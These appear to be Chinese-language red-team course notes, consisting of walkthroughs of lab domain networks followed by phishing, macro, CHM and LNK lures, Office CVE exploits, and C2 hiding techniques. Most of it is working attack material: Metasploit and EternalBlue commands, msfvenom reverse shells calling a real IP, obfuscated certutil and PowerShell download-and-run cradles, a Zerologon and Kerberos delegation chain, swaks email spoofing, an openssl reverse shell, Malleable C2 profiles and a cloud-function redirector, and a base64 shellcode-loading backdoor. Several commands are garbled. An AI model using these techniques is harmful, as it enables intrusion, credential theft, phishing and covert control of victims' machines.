# vpc 项目

# vpc1

1
2
3
4
5
6
7
通过 web 漏洞拿到 web 服务器的权限,用后门工具连接后,上传 cs 的马进 行上线。

对 web 服务器进行域内信息收集,端口扫描,mimikatz 运行,导出部分凭 据和明文。设置代理转发端口,利用 proxychains 代理流量并用 CrackMapExec 工具进行域用户和本地用户的密码喷射,得到 windows 7 的本地用户权限,通 过端口转发上线此台机器。win7 的域用户 hash 和明文进行喷射时发现没有效果。

在 windows7 上进行 spn 扫描,识别到了 mssql 服务器,利用注册表命令对 navicat 进行密码的读取并利用工具解密得到 mssql 的数据库密码。在主机上通 过 MDUT 与 proxifer 建立的规则连接到获取到密码的 mssql,开启 xpcmdshell 并 上传木马至服务器,执行成功之后获取到了 windows2008 的主机权限。

对拿到的 2008 再次进行 mimikaz 导出明文,设置代理规则,用获取到的明 文依次进行域用户和本地用户登录,最终得到域控权限。

( 1 )上线 msf
控制 weblogic 之后,先 sleep 0 ,其次进行网卡内存活主机扫描,判断存在 445 端口开放的主机;设置 socket 转发通过 fscan 进行内网扫描,识别到 ms17_010。检测到漏洞之后,将权限转发给 msf,由 msf 进行攻击。

( 2 )将权限从 cs 转发至 msf
cs 配置 forigen http 的监听器,并命名为 msf
主机移交监听器至 msf:spawn msf

( 3 )MSF 监听联动配置

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport xxxx
run

( 4 )msf 添加路由

1
2
run autoroute -p # 查看当前路由表
run post/multi/manage/autoroute # 添加当前路由表

( 5 )利用模块

1
2
3
4
5
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp # 正向连接上线
set rhost 10.10.20.7 # 设置连接目标
set rhosts 10.10.20.7 # 设置扫描目标
run

( 6 )获取 win7 的权限之后需再次设置路由

1
2
run autoroute -p # 查看当前路由表
run post/multi/manage/autoroute # 添加当前路由表

( 7 )将权限从 msf 转发至 cs
设置 windows/beacon_bind_tcp 的监听器,生成此监听器的木马

1
2
3
4
5
6
7
8
# 将木马上传到服务器,通过msf命令将木马发送到肉机
upload /root/bb.exe c:\\bb.exe

# cs连接正向执行的木马:
connect 10.10.20.7

# 判断是否在域环境及获取域控ip
net user /domain

( 8 )读取明文密码和 hash
getsystem 提升权限至 system,并运行 mimikatza 读取密码,cs 的操作为直接通过插件,msf 的操作为 load kiwi,creds_all 进行读取。

( 9 )查找域内非约束委派用户和计算机

1
2
# 设置代理或者上传adfind工具来进行扫描
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

( 10 )对存在约束委派的 sqlserver 攻击

1
2
3
4
5
6
7
8
# 端口扫描识别存在约束委派的机器
fscan -h 10.10.10.18

# 攻击域内数据库主机:Proxifier设置整个网段的代理规则
# 弱口令扫描sqlserver机器:随便选去一个工具进行弱口令检测
# MDUT攻击数据库:通过账户密码连接到sqlserver服务器,上传正向木马并执行(正向木马是绑定在了肉机自己的端口上,用cs连接此ip的端口可以上线)
# cs连接sqlserver:
connect 10.10.10.18 2222

( 11 )提权并进行 mimikza 导出
用 10.10.20.x 的 win 7 机器进行转发上线,设置监听为 10.10.10.7,进行反向连接设置,对拿到的 mssql 的机器进行权限提升并选择监听器为 10.10.10.7 上开通的监听。以管理员权限运行 mimikza 进行明文密码和 hash 的导出。

( 12 )通过 mssql 用户以约束委派方式攻击域控主机
建立代理或者上传 kekeo 工具进行票据操作

1
2
3
4
5
6
7
8
# kekeo请求获取sqlserver的TGT:
kekeo "tgt::ask /user:sqlserver /domain:redteam.red/passwor d:Server12345 /ticket:administrator.kirbi" "exit"

# 使用票据请求域控:
kekeo "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red @REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" "exit"

# 导入内存:
mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~o wa.redteam.red@REDTEAM.RED.kirbi

( 13 )上线域控
连接域控: dir \\OWA\\c$
通过命令上传木马并执行上线域控,也可以用 psexec 等工具上线域控

# vpc2

( 1 )web 服务器 linux 权限获取
web 上的 url 地址显示 login;jsessionid,抓包可以得到 remember me 的字段,
判断出是 shiro 框架,直接用 shiro 反序列化工具攻击,通过此工具植入哥斯拉 的内存马,用哥斯拉上线此台机器。

对此机器进行审查,查看到有 dockerenv 的文件,从而判断出当前正处于 d ocker 内,需要进行 docker 逃逸

1
2
3
4
5
6
7
8
9
10
# 采用 https://cloud.tencent.com/developer/article/1987725 中的挂载方法进行逃逸。
fdisk -l & mkdir xiaodi & mount /dev/vda1 xiaodi/ & chroot /xiaodi/

# 攻击 linux 常用 msf,准备 msf 的 elf 木马如下,生成之后将木马通过哥斯拉 上传到 docker 容器中,在从 docker 容器挂载的目录复制到/root 目录下。
# 同时 msf 开启监听,等待木马执行之后的回联。
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=47.94.236.117 LPO RT=3333 -f elf > shell.elf

# 修改计划任务设置木马执行的时间
chmod +x /xiaodi/root/shell.elf
echo '*/1 * * * * root /root/shell.elf' >> /xiaodi/etc/crontab 等待特定时间后成功上线 linux

( 2 )windows 2012 权限获取
通过 msf 添加路由的方式自动添加路由,对 1 网段进行扫描,获取到存活主机 1.16 与 1.10,并且在 16 地址上存在 web 服务,通过 msf 设置代理规则将内网服务映射到服务器上,利用 proxychains 在外网上访问内网服务。构造 http://192.168.1.16/?num []=1 进行绕过,并且得到了主机凭据 {Administrator / Admin1234567}。

1
2
3
4
5
6
7
8
9
10
11
12
# 批量对域用户和本地用户进行凭据测试,判断出此凭据属于 win 2012 的本地用户。
proxychains python cme smb 192.168.1.10- 16 - u administrator -p 'Admin1234567' --local-auth

# win 2012 设置有防止流量出站的防火墙规则,采用正向连接的木马绕过此限制,若不知道网络情况的话需要反向正向都进行测试,命令如下。
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=127.0.0.1 LPORT=5555 - f exe > bd.exe

# 因win 2012 不出网,故将木马上传至linux跳板机,在跳板机上用python开启简易web服务,
python -m SimpleHTTPServer。

# 并利用CrackMapExec直接在win 2012 上执行下载木马并且运行的木马,同时对特定端口进行正向监听,等待shell的回连。
proxychains python cme smb 192.168.1.16 -u administrator -p 'Admin1234567' -x 'cmd.exe /c certutil -urlcache -split -f [http://192.168.1.14:8000/bd.exe](http://192.168.1.14:8000/bd.exe) c:/bd.exe & c:/bd.exe' --local-auth
# 此时成功获取到了win 2012 的权限。

( 3 )dc 权限获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 在win 2012 进行mimikatz kiwi的攻击从而获取到登录过此主机的历史hash,成功获取到一个xiaodisec用户的hash值。测试此hash值与dc的通信。
proxychains python cme smb 192.168.1.10 -u administrator -H hash

# 发现此hash值就是dc的凭据,接下来就是利用此hash进行木马下载,上传木马至dc,并突破火绒的限制,拿到dc的权限。
# 通过msf生成hex的木马,撰写go脚本实现命令拼接式的无文件落地的免杀exe。并通过同样的方法将命令放在linux上开启的简易web上。
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=127.0.0.1 LPORT=6666 - f hex

# 用CrackMapExec执行普通的命令执行时都会被视为威胁无法成功,通过如下的方式绕过火绒的检测,从linux上获取到木马并执行。
"c""e""r""t""u""t""i""l" -"u""r""l""c""a""c""h""e" -split -f [http://192.168.1.14:](http://192.168.1.14:)8000/5.exe c:/5.exe

# 下载仍然是失败的,在此情况下,使用交互式方案下载木马,具体命令如下。
proxychains python smbexec.py -hashes :f1065013e55bbbeb64ddab768229710d xiaodi/administrator@192.168.1.10
# 以此方式打开的交互式 cmd,可以下载免杀木马并且执行成功上线。
# 除了这种变异命令之外,还可以采用copy的方式,从域控上讲木马从linux上直接复制到其上,不过也是需要开启交互式的cmd进行木马的获取的。
# 杀毒对外部的数据比较严格,对自己的数据比较宽松,可以生成票据从域控连接到域内主机,通过copy命令将exe木马从域内主机复制到域控上。

# vpc3

( 1 )靶场 1 - Web 攻防

( 2 )靶机 2 - MS17010 漏洞

1
2
3
4
5
# 密码喷射尝试:(失败)(由于知道是工作组,所以不需要进行域登录,参数也要改)
proxychains python cme smb 192.168.2.128- 129 - u administrator -H 53bd9892cea6f1d9ffa8ac587ba3cba6 --local-auth

# MS17010-MSF判断和利用
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=47.94.236.117 LPORT=999 -f exe > m.exe

检测:auxiliary/scanner/smb/smb_ms17_010
利用:exploit/windows/smb/ms17_010_eternalblue

( 3 )靶机 3 - 口令获取
密码喷射尝试:(成功)
直接 CS 插件移动获取成功

( 4 )靶机 4 - 通过 weblogic 获取
密码喷射尝试:(失败)
探针端口 7001 开放 - Weblogic - 利用漏洞攻击 - 工具利用
上传 webshell-C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\bea_wls_internal\9j4dqk\war\xiaodi.jsp
上传后门(反向)- 防火墙开启(扫描的时候发现被阻止)
执行后门上线 CS

( 5 )靶机 5
利用靶机 4 的口令横向移动得到

( 6 )靶机 6
CVE-2017-0146 不存在、CVE-2014-6324 太老、CVE-2021-42287 、CVE- 2022-26923 条件不满足。CVE-2020-1472 满足。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 连接DC清空凭证
proxychains python cve-2020-1472-exploit.py dc 192.168.10.10

# 获取域内HASH
cd impacket-0.9.23/examples/
proxychains python secretsdump.py dc\$@192.168.10.10 -just-dc -no-pass

# 连接域控PTH
proxychains python wmiexec.py -hashes :a402bea39d0f49b50ea1941120780ee3 xdorg/administrator@192.168.10.10

# 上传后门至域内主机上&CS横向移动
copy \\web\c$\6677.exe
6677.exe
connect 192.168.10.10 6677

# vpc4

( 1 )靶机 1 :WEB
tomcat 弱口令上传制作的 war 连接哥斯拉、上传 cs 后门执行上线,getsystem 进入域、探针内网 IP 段,定位域控,信息打点服务。

1
2
3
4
5
6
7
8
9
10
11
# 提高权限
getsystem

# 获取前缀
net view /domain

# 定位域控
net time /domain

# netbios前缀 jishu
# 域控 jishudc.jishu.xiaodi.vpc 192.168.2.20

( 2 )靶机 2 :SQL
口令喷射失败
spn 扫描服务
数据库配置文件翻阅,弱口令爆破(MSSQL)
MDUT 代理转发 正向上线 主动连接上线

( 3 )靶机 3 :jishudc
psexec CrackMapExec 口令喷射成功,横向拿下

( 4 )靶机 4 :xds
利用域管口令横向拿下
获取前缀:net view /domain
获取到其他子域 xiaoshou
xiaoshou.xiaodi.vpc

( 5 )靶机 5 :xsd
口令喷射不成功,有防火墙
80 端口拿下 - 通达 OA 漏洞利用 - Getshell
上传正向木马执行并主动连击
获取域控 netbios 及域控 ip 地址

( 6 )靶机 6 :xiaoshoudc
hash 匹配不上,采用漏洞提权

1
2
3
4
5
# 14、17 年的漏洞太老不选择,21、22 需要 一个域内的明文账户密码,前提条件不满足,选择 20 年的漏洞。
proxychains python cve- 2020 - 1472 - exploit.py xiaoshoudc 192.168.3.20 shell noPac.exe -domain xiaoshou.xiaodi.vpc -user xiaosedi -pass xsd!@#45 /dc xiaoshoudc.xiaoshou.xiaodi.vpc /mAccount test /mPassword 12qwAS.. /service cifs /ptt

# 利用hash及psexec进行利用拿权限:flag.txt口令传递拿下、
shell copy hack.php \\xiaoshoudc\c$\phpstudy_pro\www\hack.php

( 7 )靶场 7 :file 也可以采用 Nopac 提权

1
2
# 横向口令拿下
proxychains python cme smb 192.168.4.11 -u administrator -H f1065013e55bbbeb64ddab768229710d --local-auth

( 8 )靶场 8 :fileadmin
资源约束委派

1
2
3
4
5
6
7
8
# 获取受害目标:有哪些域内计算机存在同一用户加入的
shell AdFind.exe -h 192.168.4.20 -b "DC=xiaodi,DC=vpc" -f "objectClass=computer" mS-DS-CreatorSID

# 判断受害用户:
shell sid2user.exe \\192.168.4.20 5 21 3673262946 1983004332 2925526849 1103
shell SharpAllowedToAct.exe -m xxxyyxxx -p xxyyx!@#45 -t file -a 192.168.4.20 xiaodi.vpc
python getST.py -dc-ip 192.168.4.20 xdvpc/fileadmin$:file!@#45 -spn cifs/fileadmin.xiaoshou.xiaodi.vpc -impersonate administrator
kerberos::ptc administrator.ccache

( 9 )靶场 9 :dc
https://github.com/Kevin-Robertson/Inveigh

监听拦截到 DC 的密文 :Inveigh.exe
获取到的是 NET NTLM HASH V1 或 V2
破解得出明文: hashcat.exe -a 3 -m 5600 xxxxxx ?l?l?l?l?l?s?s?s?d?d?d?d
通过 Inveigh.exe 获取的明文横向移动获取

# 红队 APT

# 邮件钓鱼

  • SPF 相关知识

什么是 SPF: 发件人策略框架(Sender Policy Framework)电子邮件认证机制,中文译为发送方策略框架,主要作用是防止伪造邮件地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 如何判断SPF
dig -t txt qq.com //linux
nslookup -type=txt qq.com //windows

# SPF相关显示
"v=spf1 -all" (拒绝所有,表示这个域名不会发出邮件)
"v=spf1 +all" (接受所有)
"v=spf1 ip4:192.168.0.1/16 -all"(只允许 192.168.0.1/16 范围内的 IP 发送邮件)
"v=spf1 mx -all"(允许当前域名的 mx 记录对应的 IP 地址发送邮件) "v=spf1 mx mx:test.example.com -all"(允许当前域名和 test.example.com的 mx 记录对应的 IP 地址发送邮件)
"v=spf1 a mx ip4:173.194.72.103 -all"(允许当前域名的 a 记录和 mx 记录和一个给定的 IP 地址发送邮件)
"v=spf1 include:example.com -all"(采用和 example.com 一样的 SPF 记录)

# Swaks 简单使用说明
-t –to 目标地址 -t test@test.com
-f –from 来源地址 (发件人) -f "text<text@text.com>"
–protocol 设定协议(未测试)
--body "http://www.baidu.com" //引号中的内容即为邮件正文; --header "Subject:hello" //邮件头信息,subject为邮件标题 -ehlo 伪造邮件 ehlo 头
--data ./Desktop/email.txt //将TXT文件作为邮件发送;
  • gophish 安装使用

工具地址:https://docs.getgophish.com/
项目地址:https://github.com/gophish/gophish

( 1 )无 SPF 直接伪造 - Swaks

1
2
3
4
5
6
7
8
9
# 临时邮箱: 
http://24mail.chacuo.net/ https://www.linshi-email.com/

# 检测:
nslookup -type=txt xxx.com

# 伪造:
swaks --header-X-Mailer "" --header-Message-Id "" --header-"Content-Type"="text/html" --from "QQ管理<admin@qq.com>" --ehlo shabimeiguo -head
er "Subject: 测试" --body 我们做了一个测试 --to owazmoffth@iubridge.com

( 2 )有 SPF 直接伪造 - Swaks
工具地址:http://jetmore.org/john/code/swaks/

1
2
3
4
5
# 软刚发信人:(修改字眼)
swaks --body "test" --header "Subject:testT" -t xx@163.com -f system@notice.aliyun.com.cn

# 硬刚发信人:(转发突破)注册一个邮箱开启POP3转发、使用网上已知的邮箱系统。将要发送的邮件导出EML模版,修改内置的发件人内容时间等。
swaks --to 收信人 -f 发信人 --data 1.eml --server smtp.163.com -p 25 -au 帐号 -ap 授权码

自建要伪造高仿的邮箱系统、使用第三方平台或自行搭建、设置 SPF,中转平台突破。
smtp2go(速度慢但免费发送量大):https://www.smtp2go.com/
SendCloud(速度快但免费发送量少):https://www.sendcloud.net/
也可以自己搭建邮件服务器 - Ewomail&Postfix:http://www.ewomail.com/

( 3 )采用自己搭建 Ewomail 配合 Swaks
转发地址域名由你指定注册、不受限于其他系统的限制和风控
http://doc.ewomail.com/docs/ewomail/jianjie
https://blog.csdn.net/u012866532/article/details/123335529
swaks --to 471656814@qq.com -f admin@a1iyun.com --data test.eml --server smtp.a1iyun.com -p 25 -au admin@a1iyun.com -ap xiaodi123

  • 网页钓鱼

克隆:手工另存为、Setoolkit、Goblin
工具地址:https://github.com/xiecat/goblin
项目地址:https://github.com/trustedsec/social-engineer-toolkit

# 宏病毒

生成宏病毒:Attacks --> Packages --> MS offices Macro

操作:Office 格式文档文件钓鱼一般采用宏或对象触发后门;默认 Office 加载宏后一般需要启用内容才可调用执行;所以诱惑伪装很重要。

伪装:提示需要启用内容才能查看文件内容,并设置限制编辑等

文件内容模式:docx-doc&docm、xlsx-xls&xlsm、pptx-ppt&pptm

老版本: 97 - 2003 0ffice 默认是支持宏代码运行

新版本:启动宏的格式,一般就是在后缀加上 M

# CHM 电子书

CS 生成上线:Attacks——>Web Drive by——>Scripted web Delivery

CHM 伪装:找一个正常的 CHM 电子书,解压后;将 Payload 插入其中某个或整个页面;加载编译,当电子书打开修改页面后上线。

解压命令:hh -decompile .\html xx.CHM

木马执行:使用 bitsadmin 或 Powershell 模式加载木马

1
2
3
4
5
6
7
8
9
10
# 免杀方案
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://47.94.236.117:84/a'))"

bitsadmin /transfer 604c http://47.94.236.117:83/a %APPDATA%\604c.exe&% APPDATA%\604c.exe&del %APPDATA%\604c.exe

"c""e""r""t""u""t""i""l" -"u""r""l""c""a""c""h""e" -split -f [http://47.94.236.117](http://47.94.236.117)/5.exe c:/5.exe & c:/5.exe

powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://47.94.236.117:84/a'')'.Replace('123','adString');IEX ($c1+$c2)"

copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe bypass.exe && .\bypass.exe "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://xxx/hr.ps1''));';IEX ($a+$b)"

# LNK 快捷方式

生成:Attacks -> Packages -> Html Application

上传:Attacks——>Web Drive by——>Host file

执行:C:\Windows\System32\mshta.exe http://xx.xx.xx.xx:xx/x.ext

伪装:创建快捷方式、生成 HTA 并上传、属性更改目标执行、属性更改图标伪装

lnk 免杀思路:powershell 混淆、shellcode 混淆、vba 混淆

# Office CVE 漏洞

  • Microsoft MSDT CVE-2022-30190 代码执行

工具地址:https://github.com/JohnHammond/msdt-follina

该漏洞首次发现在 2022 年 5 月 27 日,由白俄罗斯的一个 IP 地址上传。恶 意文档从 Word 远程模板功能从远程 Web 服务器检索 HTML 文件,通过 ms-ms dt MSProtocol URI 方法来执行恶意 PowerShell 代码。感染过程利用程序 msdt.e xe,该程序用于运行各种疑难解答程序包。

此工具的恶意文档无需用户交互即可调用它。导致在宏被禁用的情况下, 恶意文档依旧可以使用 ms-msdt URI 执行任意 PowerShell 代码。

目前已知影响的版本为:office 2021 Lts、office 2019、office 2016、Offic e 2013、Office ProPlus、Office 365

测试:msdt.exe/id PCWDiagnostic /skip force /param “IT_RebrowseForFile=? I T_LaunchMethod=ContextMenu IT_BrowseForFile=(InvokeExpression((Invoke-Expression((Invoke- Expression(’[System.Text.Encoding]’+[char]58+[char]58+‘Unicode.GetString([Syste m.Convert]’+[char]58+[char]58+‘FromBase64String(’+[char]34+‘YwBhAGwAYwA=’ +[char]34+’))’))))i/…/…/…/…/…/…/…/…/…/…/…/…/…/…/Windows/System32/mpsigstub.exe”

  • Microsoft MSHTML CVE- 2021 - 40444 远程代码执行

工具地址:https://github.com/lockedbyte/CVE-2021-40444
影响版本:office 2003 office 2007 office 2010 office 2013 office 2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 安装依赖
apt-get install lcab

# 生成DLL
msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117lport=9999 -f dll > shell.dll

# 监听上线
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 9999
run

# 生成文档
cp shell.dll CVE- 2021 - 40444
python3 exploit.py generate shell.dll http://47.94.236.117:10000

# 监听文档
python3 exploit.py host 10000

# 钓鱼伪装

( 1 )文件后缀 - 钓鱼伪装 - RLO

通过修改文件后缀的编码方式,将 exe 后缀文件伪装为 jpg 文件

( 2 )压缩文件 - 自解压 - 释放执行

Winrar 压缩软件,设置压缩为自启动,双击压缩文件之后即释放木马

( 3 )捆绑文件 - 打包加载 - 释放执行

通过不同的捆绑释放器进行绑定免杀木马,执行文件后释放木马

# NC 流量加密

1
2
3
4
5
6
7
8
9
10
11
12
# nc 使用
nc -lvvp 5566
nc -e /bin/bash 47.94.236.117 5566

# 在我们的攻击端生成自签名证书:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

# 在攻击机上监听指定端口,这里我选择 8888 :
openssl s_server -quiet -key key.pem -cert cert.pem -port 8888

# 在受害机上执行shell反弹命令(注意修改ip和端口):
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.94.236.117:8888 > /tmp/s;

# MSF 通讯特征修改

解决 HTTPS-SSL 通讯证书被特征标示问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 利用openssl生成证书
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj "/C=UK/
ST=xiaodi/L=xiaodi/O=Development/CN=www.baidu.com" -keyout www.baidu.co m.key -out www.baidu.com.crt && cat www.baidu.com.key www.baidu.com.crt >
www.baidu.com.pem && rm -f www.baidu.com.key www.baidu.com.crt

# MSF生成绑定证书后门
msfvenom -p windows/meterpreter/reverse_https LHOST=47.94.236.117 LPO
RT=5566 PayloadUUIDTracking=true PayloadUUIDName=Whoamishell HandlerS SLCert=/root/www.baidu.com.pem StagerVerifySSLCert=true -f exe -o https-b.exe

# MSF监听上线
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 0.0.0.0
set lport 5566
set HandlerSSLCert /root/www.baidu.com.pem
set StagerVerifySSLCert true
run

# impersonate_ssl模块:
# 此外Metasploit框架还有一个auxiliary/gather/impersonate_ssl模块,可以用来自动从信任源创建一个虚假证书,十分方便:
use auxiliary/gather/impersonate_ssl
set RHOST [http://www.baidu.com](http://www.baidu.com)
run

# CS 通讯特征修改

解决 HTTP/S 通讯证书及流量特征被特征标示问题、JDK Keytool 修改 CS 特征。修改默认端口:编辑 teamserver 文件,更改 server port 部分 50000 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# a. 去除store证书特征:
# 查看证书指纹:
keytool -list -v -keystore cobaltstrike.store

# 生成证书指纹
keytool -keystore cobaltstrike1.store -storepass 123456 -key pass 123456 -genkey -keyalg RSA -alias xiaodi8.com -dname "CN=xiaodi8 e-Szigno Root CA, OU=e-Szigno CA, O=xiaodi8 Ltd., L=Budapest, S=HU, C=HU"

# 应用证书指纹
keytool -importkeystore -srckeystore cobaltstrike1.store -dest
keystore cobaltstrike1.store -deststoretype pkcs12

# b. 去除流量通讯特征:
# 规则资源:https://github.com/xx0hcd/Malleable-C2-Profiles与https://github.com/FortyNorthSecurity/C2concealer
# 创建C2文件:xiaodi.Profiles
# 写入通讯规则: UA头&GET&POST&心跳&证书等

# 测试规则正常
./c2lint xiaodi.prifile

# c.加载C2规则启动:
./teamserver ip 密码 xiaodi.Profiles

https-certificate {
set CN "xiaodi8";
set O "Microsoft";


set C "en";
set L "US";
set OU "Microsoft";
set ST "US";
set validity "365";
}
d.设置,修改成你的证书名称和证书密码
code-signer{
set keystore "xiaodi.store";
set password "xiaodi";
set alias "xiaodi8.com";
}

# C2 服务器隐藏

防封锁处置 IP 地址:域前置、CDN、云函数,网盘第三方上线等

( 1 )cs 采用 CDN 上线

解决 HTTPS-SSL 通讯被朔源 IP 封锁问题
配置:https://mp.weixin.qq.com/s/MghFgegdp3l3tFE3hOvcYw
阿里云备案域名 & 全站加速 CDN 配置、CS 创建监听器 - HTTPS/Stager/Header、生成后门 - 进程网络状态 & 威胁情报平台。

( 2 )域前置 - CDN 配合
此方案在大部分 IDC 不再支持

( 3 )DNS 协议 - 域名记录解析

1
2
3
4
5
6
7
8
9
# a. 域名解析设置A,NS记录
ns1 ns cs.xxx.com
ns2 ns cs.xxx.com
cs A xx.xx.xx.xx(CS的IP)

# b. CS监听器-DNS
Beacon DNS
DNS地址配置:ns1.xxx.com ns2.xxx.com
# c. 执行后checkin唤醒

( 4 )云函数 - 腾讯云操作

创建云函数:腾讯云 - 云产品 - 云函数 - 函数服务 - 新建

创建函数服务:选择从头开始 - 函数类型选择事件函数 - 函数名称任意 - 运行环境选择 python3.6 - 并复制如下代码并修改 CS 的 IP - 点击完成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='https://XXXX' # 修改为自己C2服务器地址
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response

创建触发器:触发方式选择 API 网关触发 - 勾选启用集成响应 - 点击提交配置触发器:点击 API 服务名对触发器进行配置,将路径修改为 /,然后点击立即完成配置 profile 文件 - 触发 URL:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
set sample_name "t";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/api/x";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}

启动 CS 加载 profile:./teamserver IP 密码 xxx.profile

( 5 )端口转发 - Iptables

1
2
3
4
5
6
7
# 转发机设置转发:(80改 443 即https)
iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 47.94.236.117:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward=1

CS 监听器配置转发机 IP

( 6 )中间件反向代理 - Apache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 代理机安装Apache:
apt-get install apache2
a2enmod proxy proxy_ajp proxy_balancer proxy_connect proxy_http
systemctl restart apache2
/etc/apache2/sites-enabled/000-default.conf

# 中间件设置转发:
http:
ProxyPass "/" "http://CS的IP/"
ProxyPassReverse "/" "http://CS的IP/"

https:
ProxyPass "/" "https://CS的IP/"
ProxyPassReverse "/" "https://CS的IP/"

# 重启Apache服务:
service apache2 restart
# CS监听器配置转发机IP

# python 自动化

# socket 免杀后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# client.py
import socket,sys

ip=sys.argv[1]
port=sys.argv[2]
s1=socket.socket()
s1.connect((ip,int(port)))
while True:
cmdline=input('please input cmdline:')
s1.send(cmdline.encode())
cmddata=s1.recv(1024).decode()
print(cmddata)
s1.close()

# server.py
import socket,os,ctypes,base64

s=socket.socket()
s.bind(('0.0.0.0',9999))
s.listen(5)
def zx(s):
sc = base64.b64decode(s)
code='cnd4cGFnZSA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKDAsIGxlbihzYyksIDB4MTAwMCwgMHg0MCkKY3R5cGVzLndpbmRsbC5r ZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KHJ3eHBhZ2UsIGN0eXBlcy5jcmVhdGVfc3 RyaW5nX2J1ZmZlcihzYyksIGxlbihzYykpCmhhbmRsZSA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuQ3JlYXRlVGhyZWFkKDAsIDAsIHJ3eHBhZ2UsIDAsIDAsIDA pCmN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChoYW5kbGUsIC0xKQ=='
c=base64.b64decode(code)
eval(c)
while 1:
sock,addr=s.accept()
print(sock, addr)
while 1:
cmd=sock.recv(10241).decode()
print(cmd)
print(type(cmd))
zx(cmd)
print(cmd_data)
print(type(cmd_data))
sock.send(cmd_data.encode())
sock.close()

# 多线程全端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import socket
import threading
import queue

def port_scan():
while not q.empty():
ip = '127.0.0.1'
port = q.get()
s = socket.socket()
if s.connect_ex((ip, port)) == 0:
print("%d is open" %port)
else:
pass
s.close()

if __name__ == '__main__':
q = queue.Queue()
for port in range(1,65536):
q.put(port)
for i in range(30):
t = threading.Thread(target=port_scan)
t.start()

# scapy 流量分析

1
2
3
4
5
6
7
8
9
10
11
12
13
from scapy.all import *

def packet_callback(packet):
print(packet.show())
data=bytes(packet[TCP].payload)
for info in data.split(b'\n'):
print(info)
if b'Content-Disposition: form-data; name="' in info:
print('文件上传攻击中...')
pass

if __name__ == '__main__':
sniff(filter='host 192.168.1.107 and tcp port 80',iface='以太网',prn=packet_callback,store=0)

# 文件行为监控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from watchdog.observers import Observer
from watchdog.events import *
import time

class FileEventHandler(FileSystemEventHandler):
